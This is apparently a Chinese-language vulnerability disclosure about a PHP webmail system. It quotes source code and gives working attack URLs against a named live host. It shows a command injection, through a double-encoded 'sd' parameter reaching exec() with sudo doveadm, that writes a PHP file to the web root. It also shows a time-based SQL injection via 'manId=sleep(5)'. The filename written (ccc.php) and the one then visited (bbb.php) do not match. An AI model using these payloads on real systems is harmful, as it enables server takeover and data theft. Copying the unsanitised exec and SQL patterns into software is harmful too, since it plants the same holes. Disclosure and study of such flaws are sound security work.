show_mail.php:
require_once('../global.php'); //获取参数信息 $t_get_sd = urldecode($_GET['sd']); $_GET['sd'] = strlen($_GET['sd']) > strlen($t_get_sd) ? $t_get_sd : $_GET['sd']; list($box_name,$uid) = explode(':', $_GET['sd']); $box_name = ($box_name); $get_sd = urlencode($box_name). ":" .$uid; if(strpos($_COOKIE['my_referer'],'box_list.php?sd=hicommail_search')!==false){ if(strpos($_COOKIE['my_referer'],'&labelMail;=1')!==false){ $label = 'star'; $label2 = 'star2'; }else{ $label = 'search'; $label2 = 'search2'; } } if($_GET['delMove']){ //移动、删除和标记星标动作,会把搜索和星标的id会话记录清空 //防止清空:记录到另一个只在show_mail.php页面使用的会话 if($_SESSION['H_MAILS'][$label]['box:uid']){ $_SESSION['H_MAILS'][$label2]['box:uid'] = $_SESSION['H_MAILS'][$label]['box:uid']; } if($_GET['delMove']=='delete' && $box_name=='Trash' || $_GET['delMove']=='shiftdelete'){ select_mailbox($connection,$box_name); $deleted = mail_flags($connection,'\\Deleted','+',$uid); }else{ if($_GET['delMove']=='delete' && $box_name!='Trash'){ $toBox = 'Trash'; }elseif($_GET['delMove']=='move'){ $toBox = $_GET['toBoxName']; } if($gDoveadm ==='0'){ $toBox = mb_convert_encoding($toBox, 'UTF-8', 'UTF7-IMAP'); $boxnm = mb_convert_encoding($box_name, 'UTF-8', 'UTF7-IMAP'); exec("sudo /usr/bin/doveadm move -u ".$gMyAccounts." '".$toBox."' MAILBOX '".$boxnm."' UID ".$uid);
找到一个用户登录:
发送url:
http://mail.iconergy.com:889/src/show_mail.php?sd=aaaa%253A%2520%2526%2520echo%2520%2527%253C%253Fphp%2520phpinfo%2528%2529%253F%253E%2527%2520%253E%2520%252fvar%252fwww%252fnewmail%252fccc.php&delMove;=move&toBoxName;=yyy
访问:
http://mail.iconergy.com:889/bbb.php
sql注射地方:
write_mail.php:
require_once('../global.php'); $filetime = time(); $defAllUFSize = $defAllUFId = 0; $defImgsVal = $defFilesVal = ''; $defUFSUnit = $defAllUFSize.' B'; $dir = HM_ROOT.$gSubTmpUploadDir; if(!is_dir($dir)){ @mkdir($dir,0722,true);//逐层检查创建0700权限 } if($_GET['manId']){ $to = getLinkmanByManid($_GET['manId']);
跟进去getLinkmanByManid 看看:
/* * 写邮件 */ function getLinkmanByManid($manId){ global $db,$gMyAccounts; $linkSql = "SELECT * FROM `linkman` WHERE `man_id` IN ($manId) ORDER BY `sort` "; $linkResult = $db->query($linkSql); while ($linkRs=$db->fetch_array ($linkResult)) { $rs[] = $linkRs['name'] ? '"'.$linkRs['name'].'" <'.$linkRs['mail_addr'].'>' : $linkRs['mail_addr']; } if($rs){ $rs = implode(';',$rs); }else{ $rs = ''; } return $rs; }
直接请求:
http://mail.iconergy.com:889/src/write_mail.php?manId=sleep(5)
造成延迟 这里构造sql就不多说了